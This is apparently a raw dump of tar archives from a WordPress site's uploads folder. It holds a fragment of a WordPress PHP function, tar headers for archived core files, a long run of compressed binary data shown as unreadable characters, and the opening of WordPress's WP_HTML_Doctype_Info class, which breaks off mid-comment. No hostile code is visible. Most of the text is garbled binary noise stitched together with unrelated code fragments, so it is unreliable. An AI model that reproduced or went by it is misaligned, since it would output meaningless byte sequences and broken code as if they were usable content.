	$add_auto_sizes = apply_filters( 'wp_img_tag_add_auto_sizes', true );
	if ( ! $add_auto_sizes ) {
		return;
	}

	?>
	<style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>
	<?php
}
uploads/wyw/link-template.php.tar.gz000066600000066065152443022640013547 0ustar00}Ʊ0z?ʁRvd׵M?rs/!PKVb)qN_̞`Xly<.d|PLbZ&|:|2g?;W}>g_?w߷>S/[M_\u>_>PKx9JQ*'_-:Rguv
ZzpC7ˋ*Y,O2@䤜r>ϧdVVR'wOQ>ªvҫd.yߎTIU&`Bٸ˧5
R+.$[IA=Xlj0\Lh8Ln%{ɯ7`[j0_c54jnDHʓNPձ	<Vi@R-4ߎ`ôo-lV><+nf	Ak7I覽4_ԡ${n3H}&ɫ$KPuNqV)P1
ZP8l4VB*[ ,_@a-[r'g,
bjFXRomZ*ԄECW.\A=h׿Wy*t3JH%~c1'|Ruv2/5T8@iQY@ͳ|;cshd|6ߖ7r2+
msQX3@-\.j0N,|}	-PxH_1
ʻy1=dHi9%b4r=k@oE1<<<W2#C|
_u(4G
!.0IS]tbRx+_W-Oj0-lխwI>V`eӆ75{(rUx^
ai[#aRZІpUF*j_=᧫H0SvhgJxbk7z6ߋ<ÿr8?F}W|óMj^gAB!"2I6Ui(rRZq[T&(,,UHXPT5[AJEOƟbT\B|0E>D,'x!	?waWWjr3EU<M=#LsW=oX**>BXf/'a_{4rGe~*}˃~Ŏy
`Dp[kKtkD&47D
U)1%*KӐPg/,g-nӥBT-u+ -
?.1˿*Sij5	.gqŒ+Qj"-{zbG=#Qi>TӊyerbV҉لDyټTHJywXEE@
Px3m`
)mQ
FՌ^7=IjMLCM*<c {NUGb_wL#C'y
;/8eѿxJ͂!Z0oVӆ;b9o[ClBs(%Mgz$SID
$Xzٿ[֞a
Xi`JX*	?U[EeD-fb:	JqxB%Z/4BIY0:`hՏ?6xGbb!xmVPDj@iЀyL,S+f9'en1*MIaueO6 A|͏ʜ8 ŧ'pHcc	/JblF|azqË<$I7ϳMPnnbFgg?gS%J5:ѓw&H~
~ΖJ74m|*("$Q!](m
QđȞbgPJ+ˆguֈwdB¹Z=WQLK T7F@ه%nzțX2lh|ks/j]]`E*((OHNkO|F,Kij$GF))˼9u4APCrY
v2l`{a3§hEi+,6AFv8@jo;Ib3f]!zs]SY
}\W(m;RP`P(}Qʥˀᴙ,[QiӰ!>5ȉA'dGLf{/At#!)F-S+b^rXF`lr`V)Kg9KYD(5)'[wX/OE
0
T#ڮz޷in yqV'lv=.JӲ8Uj	X.íM{v?ro޴+KB5d@Q?\Y+^ZAđ՝i1M7z5Tbxt>D2&f>C$@qv|J|B׏afچ.f*rΪ`l{Y1<6ΧR\ǥ#Yl>É kL|s,r
j9DlS2B$cVه%5!}܂?"|#>ʇA%)
x=<᠆HͥxSbF#T`lj]/R%-+$f.CtJ*ϙ]qIxetṿ`9N[I+BF!.阂jFuWCX_i7w!I@9~Z6O+[`$EsKLY!p(с4T:>@/
Iѫkk I{K9ROH22/܁ks

ۘABes()A\۷h]% ۾6s9^SؙR"JiήL(PB 7v6?ti+
_lJTjDm)W4Ap#5ZuǘjØk-	zw$ڀoO"ϫXNJ'?R$ީg91:l#(O*:cpbEk	aN>w+2v,l񎂯qn0%en0`3)Kb؎'AZsAB]jq%Łƣ	
)FTp_#`hL\hIA'*R=(tZ*ܧO[YnYNf!AgR#AAx%€TE-5eɕl	1#ɬ(?Fm3Pf)FMCd${"qj]3MYXZǹs"%"rTmM{kݑ&\[qVxFQ"
3nl	/kq:(@rӉ$^tF#*?pf^	PĈ[@04eQX1-*צI<<:WDGí̳vD5˺SA-jBp\D=Jy҈Χ<hҧrQ苙1Aseӆu6~ 	"/3u=&]=\ᰤX3ȶC>^~Ӛirϋ[{%Zfm0/MTyBS&EJ412nvif@Nnv0lC8˲cQ7,z'
E<#b:.#@M|MːE
{@QQ*:l8(1GE!Hv]WlSNJ/%qp	M8jumRl"a
T1%>iiiI8)ősH5Ys,`,EA
@p
4.Ӹ|ߓ]	{R{ϫJtYY?g7>' 5l{.l2Cxވ}&kA'Ae&}zt1=&Up]Xk"F{5mXPnf#Z%
X"Fh-dtۍ0Z?,*lTA{KS6Anѥ8};H1FBlu)[94Ӣ81PZޠՈ#iYoìBFE5@jWY^ڀkFU0w x8hԵxZfoCM	PT]{O׍uۣXZS

c.ʉ/8V'B,_6RgAQ֥zu,o+SoدA8
9EEtא813$p8UqR1
؇e:cU@8hW	gKyUWlQN҆>=aeL8$z<\H? <?4&U#{d8ھ{^p0cML3;]ɑF5%)i[&I0~=rТ
s1Ԙ-M	E6P6ia!"ĐJlbB8鹼`§ώǿ{^oBUiebg0.EQ Vxfp\880Mԑ8j7`݀Z8l:˟R>%j\̖TXT`3t&]U׹qþr(t+}(
v_.'tPfZOaMyډ|-º<=_3oO9eezvP9c)hȓ?/AٯٱZąPEdπm5TsR6R]p(IcHB[Z:$Ds S:! &h~a/pCșf=^|twKB䶼anV@8G>6>ؾju^TD꜊bԳCCsY>a7%au2qzG"$
j p<v!h:21"Ikj]kkܷEݔy[k-"uVڭ1qpM8[!gU(=6бMM݇piIuYcaJF]gNpŠ<TOiey5Mn+R>BNoLҺ(.XV,
	&LIővlF䑣vevfce<lZU+fɺk71+un46Xױ6g`ޗ<R(Eikb%XB&gCͱg<HE?O8OE
6$O/5u>V{b>xZu߄g4-{ngro[(@!i|'M|VgѺ\ٶmMfh&h7S{0"3thVwBYd+;1.$94mMym(XE"4"ؒlSs6C;Ԯ+N%Lj63|ˉr1YL)~~VVyc#4W0=P`29$V/Wd~
;4yW^.0`"qsa]//崜\y+9v8bH#BtZ;Cux
^p'|(NF`/(OF*'4.~poz>C9y4}"dF,d6I!(BnKZ83
qhwNFU@%1qݹ]wѻumBFDNo eM"9gGbk"}sq419RvHu%WAU
SA,
	3)SDAJMQU#ȴa;	5l_gT<
t!BZ?{ƪI'yNվ*Ywc~u-u9K/{XnE>*<@(
Q8$#iÀPB.pՑ2e
zNv5@M2)f/:b{S8G;ϼ
(D=N2:L=
e8CiשM>@RԻ(5w;|8n[lƲ$}ҖNwvI$&ހ)
B5o'@K@l:DJN׫˪ڹ1S<Jk5uikxV'i&\]>&L<]v߽-;9ϪdAVi+upuo\HyOiGtV1\CŽ@xvgc2-6
#ӥ}@ՀrRMfi^cnxr16$ׁ*u6G)N%c}]lJš[1fm'z!;K
$R6S^hX遐;zڿ1x%7jع.àDߗ0-QUm<vZҰArYrHw3!CO=vRL
l
NRZ,PSF8S}(E#^y:i]٧c]K[,ΊULK^eK1\ib`3mKI5Ϛ{2/o5I&orќF<z:=ˆW'V![K)՞o
~d^OH"d{z$}DIl">HQAqaՅ_qC]8aea~TsP-oQ#`<ZC;
 .rDKZ/&ڔ(U_:hƪјV5Jt͆*0cMGtKv;.T8iDslդ"hMgOQC8ٵڵCRLOݮsI璡K)$jmT@*0WzȧCK.чJ'#5|-myȐ>(%ZԙZ]/o&RcIߴ<Hsjv2Bk1p$yj/=BCF˸)vSv-$rEPns4N"nkr^)h͓^&7D%Nar燦=#),`Jq7ȸ:{Ҷ'^ؠhM5wS{^EG?F⇱Pk9FyЁN~$XBub [Q/VZVo/k{m:Q06/ ɨ.<Pg,~f\+_hIxr6+甓}FKPM	~\õrjzn>o,{c&h=Q8z֐p1iѿīE.f"1;Q!OtKʾlniE{kNu&6t}v-@	ϲJѲ]2<(7ww5%뢋<=5S
4nS	6
iFė;܆J\ÍpyYLz͜I46B2&T6T;@;y¡%S8O}E5Sʕk T5&KN3aG'|Yo#cTBehjz>V>H-Fcg.%	Mt6Qt&q#C;A+9B)<\4'l'@>s"k|(.ZFS?R$rA+.ʿ*
{g
nb8W03ݤuFCL;OaS?*׫ab0͍w'QqrV%LtΙ%mgKt@߈2ê)#Zb	v楒nLj(7jzsnM]:2`8gD_&U!HciSʍS
|JJL)MDẠ25KgŧpV<.DR֝4v7b'	b2B}|N=`,B6FN`!#DrGK>'Z2Ym5瞸J=+M՟LlJk#¿0JVJJq;;GM7if*!׬4ׯ^z(p/&8S)""yk+"d<_4CqE
h<4R0T؈30u4S JB#v';јf@X]V!L6S/镺4lj؋wBӠsi\E~kO[nuCdH|.V{'km5~'nTPh1(
HۍY3Z8ܵqGeZCvФ|>f.Z%q޺G,'ݮ;nWcW\}J)o[#8-wqPΰCW@ACwp'pd}e}g\Ae㯼e_>2AA/h(Qy`xr8ܘ/+[
.ǒmۄfs`}mR9JFPA0p
gj`*!t,ٷSL/Qfٜ!}oi+%A^8Qy?Q}٤ԣ8lzabK6@"FR-!><S"N
sf000]YE7kb*mhÑ4<N}tX32)k'9Ct,DKlU-컁憻*|óGGO{6=VmLL;FO}~߃z`!MIaR7bߧ~񰰹ΓFvuP儔TxJ$	Vި.|;ywNSTg&lc_
*;htھh=X#*!!2'?@AH(~p83?@rVό-̓ɓ( n
%Ai`"@3vي7c|d&V%:u!!^/$3	m%=^6!35Nsgj׭Jv'n{qcTKum6X7RZ`|MΓiIc
pdE jͺ`esxt][5@uGInTh
j[i*vR!b(?L<
zOu3̈i7&Y15-af;֋׶3nqUsdu<+2jl2e6xv34OI17N7^"douF.دn臐x@pRbE =f:-PI6#Zpv|V5Zx=KWAI6
7iNcJ#^WO\@1=ҊaJk>el7H4q4Yz,G8ڑ_91,gm]y"%D3vMKq!
m`de0#qΉ4_.;7ݢ|֢͛^[buzU'IJ{A:q'[vCkЂyM*ԡDPb S1`c;7K[E(|]mQɆg]ZQd/Q
7c<ks (7=ǚ
i͖ȝ'ɥ$lOkxIg`HۑlN؁_:!Hx8ˊOu2_ِ5g-dQQe|,س5yԱ9%uv$t$c˷z_PȪ/5lʡ~D
IYО>893.	쁝W!떵F94t}[8N'|:'"
Y9yx<Z<%xW[O&C]Ԛ!$16E\p62n78H.!lt/dcBɎoî{THaЙu8I닼ҀlkF36u+0tXcuJbCMfiRw1ABspruVg	Q,0K9WȘ8?h7yJ#U?!|!Alzm^%)"c?18nN?Ho# bZKR,n5a"x\Ak};٢Wwj+ϴO'a7)U<麉=AU}5l{kƇ=/߇VCyuo44ҋ6kI6SudH1XЀ'˩+4r ?|9z<f^A	W@4=qXh()Jos1l0QwMd?yH7"R*F}Z42V[[gJ<U(
d6/‘>`l:th"HM$	QgϞ|>#B9omY1S@zwݳdyCsXCTV/de[,joi7f&}cgy*$Shw(h#rjXo+CAü`6bǣ
/HQ
_[&&׻a
\ib	)5ѯψDj;]w/66r|N}Z)N,ZҬ0p!pI1}nc
}w=&/|ё)o6M<aЖg~5ptIDÊ8sĤ8SbKd|:+U4YHSK1lpǨ!oy&|f36͕ĢXS!pwn&$,Z<
V (QB-6ƪ=rzN.Cq<HRIS#`O^7Ů!\#_@1FǟَjC
0҇Rd%p`
01~S_%KTN
thkm˖8WT͍"쉣&C!L=F L
(6*	4_5)̀+ɋGX7vh$	[g^_N5)w*#$dnhLQao=^aE9+bmEW$?mxFMoQd+Q,SDԝnZZ%E6HωX,0h~$b3`R7JoM87+I&N^-\k'_45T䝐ܠ0;
8	}өgBJS+B=mm"Ca*JQ\&:j\!Ӊe>އfLcF?lb	(Wxz\W'ִ:I.\pw?~}#ЄJ
$+RJ@+Ћq4bZTL${3F`QmDIZ3C_K'p0~;ʪ}mۑ'p=hl<Qr{KO{(	Q^
HɌf8vPv^D&gS;LrxMOQ<҆RFg9Z e]yǺdן^3Jr0/P.vHL
WZ689>s:1pzLmKcJ.bu6{uMM^`hM6wr
wM*7Bm-l'D6en=bU
k;b1"=SW7}wlh	Ag?OA:?M5HC8"]/GwC_k&ҭiߊ:]Eм>1aPƼIr,|+ 4L4Ap7ٞ$L^sa/Knwzl\T߁/;1LE+H]hPQ.p׃FL6mVCS"鶚HjxM.^)E|Wn qJyJ2jBrDg&RVgr%绫3C5_-G*'Jע,@0uU
cʼnvQ zbs7{ymEՖ<2\oV9KogTM@y7^-,uq޻L)shcTb|j6^
ڧa9#wo%v s\d(Ru½OeW>*YqhWcJ_:ڸuI,#I5)&uwB;ʦ=Z}A6T]nBEt/9<Vug
`d~ߡ:2GЁ/5MU2"u>߳ZLnk1渷:1pnk!sl"ף# s^Tu#kEjkŗa
v͇tͰOn11#Ǵ hq?ѻ||ՖEkt
ME(Ćk_5pO͇\UHJa
+sHݓQL*]`{zV;
WmSۂԓ̩5xӜ5ۿR^d76$C<^L
X띿j
U95^$tzFOܘِ`}߈\Y5qey/qIS^kݹ+Zg}~#}dRh
7MiB{ccfۼK拺6C7nd\M>m,
C꼯WLUuݯꇹUpwǫsvkί}ľ9`<
tF\ٰp6]W0]Z!!x[]8N_iބ-W]QOkʬz1j{\۹Q7DliW 'u.w[zCŒ}Yh=]r|ώF{mA2rY6iϞ6k?7⒍;Zjr[;;^6Rc!섮K>)sܘms1}5׺>U~g7;n׎jǷ"Vͤh5|:&xZJ~eBBLC=#D$zp`Ih D
3&Ͼ@|;v'LcV ƅ;Z4_5و<iiFLc'fyъ~?)N۬
)15TOymY5ɫa6#haja%TЗQq	x9UGeŖlZ,\%zwQ!wh{No:m{.2tε@PprYp^PVA⻆5Bbd1$ n]/Qxp~;S5rA	^o<9J̶5%-Ԟ}8@pY_C+w)Yo@
UgY:<-'.ݷoך)v==-bRa}w~K2+ݲo.9J??yz	BQѲp)ZSxnx#[t(ZNWҽt_	VFtP|!R浍"[S4`U~@z;uۆpv줘p2o^Ք&bYӃAN->fM:;wmssܝܰ"}yq/kȬ]fT6d%U;c,Q\"ٞO O,!Tihmc.[-}VF8}A4٨?pz	
&$MEӪ, 6w^:Z,Т!.NMKtpYX4}w$޿}KO b$A#o_8^H@m827
{RX=8vٸ;NTRloJtTzB(-(be}f~+؉fGrn"WV!)|BV#R8h6Zhz_V^N'+EzjEemp8j(&} :HYrAwKORA EB7<89Q6,ї\&
DvA7H~թe)G~O:2PHĄFNWZJHCH-lwR#HCFe4'&(\!}LIjICg|Eҟ9c}7(<U=Y-d[>.ΉpJ{XaU(`Pܡdlnީwv7?٩C8y"ǻ?ϟ^>l?/{{([m%n\VaeIx-Zq\)#/a7id&yZHdBL[O8k/Itc
P})9yEʖ׈['jTG+mT.nD1`Z`JlB:KtejX1UoNZ֤taA:X`$j3CmhkJv<<qK&|mBF8*,
M~L7)9!U?22OT(Fԛ0c#yK+t9^Qlt/;1קg`8>jdy(Pwn߹í`^Py[F(Od4_Fcs.rF&>FUE4:{s6p`rͭ4I8yR5^$嬥-Ru8͓8Դ|1Gg5V۬jVBhL44߁}~Y}@JI^3`KxZoHH	w*|UX;b-pR\9@{,C7\q$}ԸY:|k39vѰNDUfFLR&(uM2h%+[$,ia*^]નiӭĴ
Iu'\M(Π/)9'»fEČ^bQ
Ms3E^S|]EaңW@V+80Sr6ż-q%<J=Gq_4\-y
'[c8Ϊ+,EJ8[GΎEj/**hK.dBj~Yj-;գ;;mWoƇgn[ QktD]]p7<K]wX?p	g/UBIq>au>wg,1
=Ä^EV5de('	}iopWu(O6mZMgɗp>Ahwjo_Ֆwy`A/c^9pu
};ljل+]Y7µ
@Q$kTHwD$5p6AۋٚT,0sMEiS2%<i0q

;jMKF<KϨxCp[mǨ/w2Xx^~@.?p4q
d

Di1fzX6%BIwM~-~016g9P'jj}eis{%ߐGI9kɊ1t	
&5NɍPWt~JpAcUe*%K
WP
Em#[|7%1ڣz=H.P^(!ZGZȪ	@jl
}dwNa	>\=K99deW+^<@ˮ1ʴN͈T$,E%\6Q+IU@]AmD+_:%m&`!=BNԎkzzC\yTň[cQlv I5b["}	H/+{;1c!IDM,]^94(pYpYj]Ror삵K:t&hP=^ Ȅru.')gTowr-ILa3Ec9}<`[ryk{45Jw,2i7Hpwُd ORqjAb	9UM:ObSppϩU:|
j6h)jz%a◊ϠC+!PRG1@{IU<"Wc
:xX}W*^rx]?γPɪXf4S%KЂoPp <ިP39(#*U5ȉ]VMxmjHu.iF9]'#ՒK$={9lW
e<y&67g#gng4'!KLp}YJ@ȺK9uQp݃?Ci5GnuJ%b\,.HU3DUFƣ
h,ol}	mM1n훟7UG_}dAw
<J)p?O?+A8&:!#(B/53W`{?PK<waa3Mۅ/Q}j^FR VXP*]X=PV^CԾzh~ۋ%n0kGyu\8*sJ=M( vC-ӧ3]scA	EMdLuv=z3
*]#qKpC5fj#yL:xRIbD5ȓQۏ'%4%,y4[<[N`8o8xS_mܝsȘ&.cd:^z4I֒&erDXс}:	R.kJ
鯆'ȶBwљV@胁P8׊a
OdJe=qci͉WO7&Qdm8Dx&.sGƛԆl_<fiQuNZ0Oa	(5$*KfG2FV^X#^
H

Q56>W֘X{㣆P f['uVCj=Z20M:5(6SWjƳ{Z˄L'ޞĥAt&g+B۔p t==̊\ Stt<T9zcrbALBP;B04+na&#vsUƍn71qYkL}3%<4¯WS3A!(	ereC^L8
ELM!"cy-5p
'V҃3}c6r`hgx#ayhXo_hA4A*+*='
ĵoJw}j]%ESfl93\nH?Ar
]RIs<F,KJ0$l\z8ZENæ|oiUT:+)Cy#캒KL%K"0Bϼ3mWK M\,#dNYhm+=X~"n̎+Aw-B2A6X3㣈g,}߃r
v/OߛCJ~; .k&]ˎmc[?FlWe>ch,U9V/Cr)Ή=ӳLwSFCBv7ir
N~jg(GCQ$B]
ڍKGWtEK9;FvtNc/Ȇj3%3Gm"Vk#BH5ABj59䏔mpnYw:ztK'Vm\-{VwHK2pMjjz$u.V*q8UjA	
}ڬ]ə$8WS[t2)\&F7qQl6/gj`E(dBʎǐ/=[,fU

+TfV2֬[,L}
0Sr?SSat18ݳݪ|>GWrMt\g\orMaxؖДLiNP͝bMtƓjfBY8zw$mz(#.laB!U>򶀹A'<qy*."jku_zk"9>H)co]Is4^t5N0s(7J)|"5,^R5V՞}$g4!wbf7<,J4V~-k9W݀Tz>|nӚA8_"n*nk
0^ƒ~׷&$	*g*9ajݰQ|o
ao
ЫollTC%d
FqZ?$x5mEt(V5r|\xw	/ZAA	[ lY,z]SҴN,#RɑӾR'3%Y-/xu{jGmubf [}jV7f+XDPoXmZ#R{!nB\[I86(oy[y;nCp;?0<! omҰvr-ʍP%Gf*1`eW˞*;0Z@gQlbƫEFy~&|Pw](Y#<kD40' gP9p~eNV3P%l
kW\J
ՇzRUqd3	7:Mg$[W@$xR_"Xb(8`|yԑ;8)k]<PHj|R v[P/)0ls8Oaݑlz]^w52MiDÞt-v͖]׫YZu~T5/:ZZf
lҧK@WWWʾW$ozLZ7T?}</kIz8K B	wm4d]c2P#xQ:*)Z'w?Wܑݍi?><ѓgGpTfy(0kl^m|6i}6hΌXd㎨0V"2^*uC'}TC~?b v8	3,ĄkjO~Y38?y25(pDУpy/Uy.8^5mjdU1uK7hG^A^pA@2A:5Uc?@j07OWڡBtD9BbT( 0;{>E-@si*'=L|ϧ~/AMTR2/|tNoWzMDueyTtRZVcf$,酨sO}tS *e\9Pj$
CGCs카*ct焂?c1Z4_סCIS?;ӿsb{$!~]N#~zLncCd^q&LdbN{hGCAfF\CӺRcUCf7׆6M{SF"q5T{㛶i7uv&κ>&{Wkz߁~{C]c=7kgidrSD_sW
`+qM`%s26L|~+.x`OF_}N$9w|N:{ҁ
h?`=lӄQ][m,W%U=>
:}Dn%Z*pkS9aI#[.v igУ  a4Qх`TQC\͕\vWE||%Kc6b'k}T;ւ49Ԕ.ƽFOQvV?,
%bNTE3%H|1C|_HaLq+!qU.3]ER
A)-l-$ņ	p;3	רDS
I>e]MoPhZ$-oojH_jT!^}Pt񶎔GuTQE-LXVd~1SGqHbU'Kr9x?
=`{ea:8ӟ?[ض5ߟSL,=kN@@VXwt:d*ٔ-l^epxoJ*6NMNYkcG.G!x|
 ̤U2ʪ2Du)@\
v7#<kAԊ\5g<F	Vh>‹sw?S{6_ԻhM(:!g?@D7D].E|v{=-!\?.U8Q؞V35h(W\f,i:_8c*?{􋻔-`O'<"b0֜@[AQI6KXHZPr$XחWNlrvqluN[؈C\W&h)iJaw`u\\k eTjǻ)Rۻq#yQ5[tu%Viˤ
jkvHVKbsH=.ZngoުU3]7XF]
[[ !Qd[0ڰ&"[jp}11>`bh>YDI)e7ٝ1.2-wyp^@3@c+pѵ.@J^?!\R<^aWKP19ᚄK?
?zة(V(T#z*PΖ:S`g$.k-@wEE(O]FH)օ݉C!س4odUMqV9|3i07B
u@Xs:.5WmxJb y&{gBb[‚FE&w`v_ér[+V\}(I~k6~<3!J;-x1*[Fa<NjFx{+RYץ>4.OcwlЎfL+#3"ѿHI8L^+JmݕmA*G
E3՛ Jn`c noCLDm曇mn&NퟧjW$"C͒꬜/̵ل=&db
T*AAЬ0rsCa2(Ez v/A!<ԑtYY+lxDB%Ӊَ!~Y͑bR0PKκK`No"zaxhW2˼pHw	%#K~u*t@u:BSOdN^.5[Zd&RםČ?aAR٥S(9N/Np8(xcۙmxPy}jPpse6e:,=)7T6bIF㗰:.KPv&(B*24*I
J37UXmWg%BlKۙ
c0IyU.AR':T|͙Ii))#5&?Ԇ_ZGmd`>ģ̖rT.p)
!ˤpĄt8[r/I/!_pMQYNER@ۙ/ʧ/ho
FRK?8$V] 
bdHwfgDn0)
%3YڱuXҮq롬!`qt^!H%iwhO.tE~TRm3BcEgnn@W!;c.gRB͡k_f
PQemҩg–ps+?(ϒ|p"9&wo|63]J1eէ}Rc'4N
LiRB2JAgb Lo_m
IS+ UYFd{;^Y-t<6h@Cq@rXH˓(a+lkCTT
J@F
H)LNuCծǑT:!mB<IO6TyIWoT2Mz]hRN/B}u+IRܗHlS߿SnqjEPTc0
z9G6oreCQ3/
KWG?/s>o`E\W
;0sHˇ/j_}
D1Gq@_G0E@\AUX"mC~{
MR+ 49~qu!r2QYb)A܈c6o)!glU=/3X"aKRg7gQR#Y (
fSEIhorꢁ}?h`)Dlҷ&{l-bf|f$ qәS(!b,uOEv<io(JA9䓬 67vfUSŞlfsU^|pg]gpsbS6ѱ1g*$CcHi8FD{6ڐŢYp/P?yqz kO1OJ")HoGփџ	p4aVnQ~IOdWz =VgJnup'/
m% 6U'%Li^.?u}NKu|Q­S\E1waTa>J%S>5iFŢPbP

'@Vđ8tOj
vt2aOv~7&@oɷYwGtM+ W20B6.On	>G	Y5jpzCeH|6:-%SEh4r
LeEcC&S~'e<앍쫓֤l9*rhQR\
w ~+вZbZlZ7i~v$}|vAr*6sj1$I~d^ad]͹~zX8c W᠉C"@dG
˒8ٞ?2	4x		r;9US4JPwHbWN+V1VWi”[oDo"HF/~J劸pGʐߕDR?hx;7JG80¸xp_Qi0az
S6qiLMx8g5Du)wRBԜ UeJS4it7===ңyyeăhD<xǢcߚV\QB|ˆj7W_-C1>-JxΚߵ\[>3cq_SE՚6hjcʪ赲zbke5VVWڊTΌN
(#\'t~oʢ_~4BUsx!G~32s]^@g_VE9JH={;%9;5c&g	%2%eMS}?|=IS
$2Y
ֱ7c$F8N5WW=Bp8kS.gcܭ8&`N@#2Ї런-*_%0_4-
1NΘYEMk(`Xf.jWB@U[b%Ꮮ^KAO+HH'?&FrW8OY!٣ UjҾ.mr]	ţ f͌nMu)mrb~
Ǖ`/PBE'o+@"Pw
Ce
ּ
֨X&,sC_צbgb-uG;ㄾQp}q?ó$	t1T
jEwQ{]9.hcy\᥶t.B{&@|ݻ';H18TIڷ|'bhi2 $C>-J-(J [3
K3H2@rެgت<}&-&~$U9s]Щ-ca
rX,|H5Q!"
i9ʐVoP'n>o}0<0i/`AxCoCR~tBa6췪]$	Mڗlj'&s%wp:mGΈ!FcñF13͝z &yRe,St&.BDIBpR2#H4r>kޕi	~F9sȍ4"Ⱥ_23EDA"HB_zdNy>qg'`XH\^h%0J8SW"Z%&	=<thTf6eJB{;C1nNysao/8&
zZd8<\Iiu-OQg*遉Z/?dJNJmV?(cB͍*#ވD~eIz	ޛeq-XTkʛHUa_u6 Xhtlia%`n]6|u	ڲ|UMn(PF$1	vRm|gM5Spq 	(RPΫHS$*;wo2~3FtNܼٜ*vEZpfZBx[F	rB{3|JfY ۶نΪ2f `RDk>@{vXkͣ$09d
5%d֓LiW߽yvM3|v{T
wh՜&すfݒ;=G_g'hCs~X7CZ/N)1AI?kop: C<hU
d0LJBSCu#yzzczsRuY:Txn7TYMFu"{uʇ'E.r&
,;_bJ>

!&G^h^Ct|Qcx@MM(csv :ޘ#\ZsY),9aL.!T"!SΝL
U颠=MTLyH,a, A31J^sx"暋ӱ.{_Z
'ktBis<ZGqO~ַ\
7h|҅>G/Ok:q#Sc0cJ)>[ލH*c
mG1ԲQ8(zT:iwi^nK4L:Xѐ/:mvgtttGN̲}͔:2%
n\	J|Ohd|9Hp(-98Zd_!]y5
i銁u&6dBj
+'GcaokNڔ{%B.%Y=ŝy&^$r\?"뒸Gs*,4<u~rFQ;j+ˮOs9L19P}u%zNh
e~JMHe@wK
-\
aa:uZv/ځDw`$p7It
[:#n*
y&zC✺/дiZRG=vSFz_'{c'kTFR0]3Fa0uWnlplLaW5Ddlz9sR=)\cTz|"6½.҈Wu^:YK:Gk/6	7 t]>-ĥ9aSۡLBv8me6@sl߿Yab3<f3E;to
Q涳6d:XKhLg"ZhA-R7Ǿ̱f-p6@s"!}1trQ4"[OŀAyr=t1e%x%ΜК\0]3d0:>Xf;QhXZb")	~+v!NszZf^pP<-OJH۰m9۰-gmL1RT
rD*~.9槗NyN=H巚~N7jn3fب&Gi.8#ZDmӖ{T߃{q\Px<J+5}&ˌWY*!*r
[ga8ЖGZcøin
J{׀6$Zsbc8ƙdm?Zy@f{ګڤuq1F~Qtټ\r\+n8c\6}w_׿"Exuploads/wyw/html-api.tar000066600002106000152443022640011271 0ustar00class-wp-html-doctype-info.php000066600000061446152442706010012366 0ustar00<?php
/**
 * HTML API: WP_HTML_Doctype_Info class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.7.0
 */

/**
 * Core class used by the HTML API to represent a DOCTYPE declaration.
 *
 * This class parses DOCTYPE tokens for the full parser in the HTML Processor.
 * Most code interacting with HTML won't need to parse DOCTYPE declarations;
 * the HTML Processor is one exception. Consult the HTML Processor for proper
 * parsing of an HTML document.
 *
 * A DOCTYPE declaration may indicate its document compatibility mode, which impacts
 * the structure of the following HTML as well as the behavior of CSS class selectors.
 * There are three possible modes:
 *
 *  - "no-quirks" and "limited-quirks" modes (also called "standards mode").
 *  - "quirks" mode.
 *
 * These modes mostly determine whether CSS class name selectors match values in the
 * HTML `class` attribute in an ASCII-case-insensitive way (quirks mode), or whether
 * they match only when byte-for-byte identical (no-quirks mode).
 *
 * All HTML documents should start with the standard HTML5 DOCTYPE: `<!DOCTYPE html>`.
 *
 * > DOCTYPEs are required for legacy reasons. When omitted, browsers tend to use a different
 * > rendering mode that is incompatible with some specifications. Including the DOCTYPE in a
 * > document ensures that the browser makes a best-effort attempt at following the
 * > relevant specifications.
 *
 * @see https://html.spec.whatwg.org/#the-doctype
 *
 * DOCTYPE declarations comprise four properties: a name, public identifier, system identifier,
 * and an indication of which document compatibility mode they would imply if an HTML parser
 * hadn't already determined it from other information.
 *
 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
 *
 * Historically, the DOCTYPE declaration was used in SGML documents to instruct a parser how
 * to interpret the various tags and entities within a document. Its role in HTML diverged
 * from how it was used in SGML and no meaning should be back-read into HTML based on how it
 * is used in SGML, XML, or XHTML documents.
 *
 * @see https://www.iso.org/standard/16387.html
 *
 * @since 6.7.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Doctype_Info {
	/**
	 * Name of the DOCTYPE: should be "html" for HTML documents.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * Historically the DOCTYPE name indicates name of the document's root element.
	 *
	 *     <!DOCTYPE html>
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $name = null;

	/**
	 * Public identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The public identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no public identifier was present in the DOCTYPE.
	 *
	 * Historically the presence of the public identifier indicated that a document
	 * was meant to be shared between computer systems and the value indicated to a
	 * knowledgeable parser how to find the relevant document type definition (DTD).
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $public_identifier = null;

	/**
	 * System identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The system identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no system identifier was present in the DOCTYPE.
	 *
	 * Historically the system identifier specified where a relevant document type
	 * declaration for the given document is stored and may be retrieved.
	 *
	 *     <!DOCTYPE html SYSTEM "system id goes here in quotes">
	 *               │  │         ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * If a public identifier were provided it would indicate to a knowledgeable
	 * parser how to interpret the system identifier.
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes" "system id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯   ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $system_identifier = null;

	/**
	 * Which document compatibility mode this DOCTYPE declaration indicates.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * When an HTML parser has not already set the document compatibility mode,
	 * (e.g. "quirks" or "no-quirks" mode), it will be inferred from the properties
	 * of the appropriate DOCTYPE declaration, if one exists. The DOCTYPE can
	 * indicate one of three possible document compatibility modes:
	 *
